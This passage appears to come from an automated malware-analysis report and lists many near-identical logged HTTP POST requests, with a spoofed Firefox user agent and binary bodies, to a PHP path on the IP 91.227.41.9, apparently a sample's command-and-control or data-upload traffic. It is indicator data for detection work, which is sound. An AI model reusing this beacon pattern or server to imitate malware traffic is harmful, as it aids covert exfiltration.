                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 1860Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 1860Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2532Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 1860Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2532Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 1860Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2532Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2532Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 1860Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 1836Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 1860Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2532Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 1836Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2528Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 1860Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 1848Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 1860Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 1860Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 1860Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 1860Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 1860Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 1836Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2532Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 1860Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2532Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 1860Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 1860Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
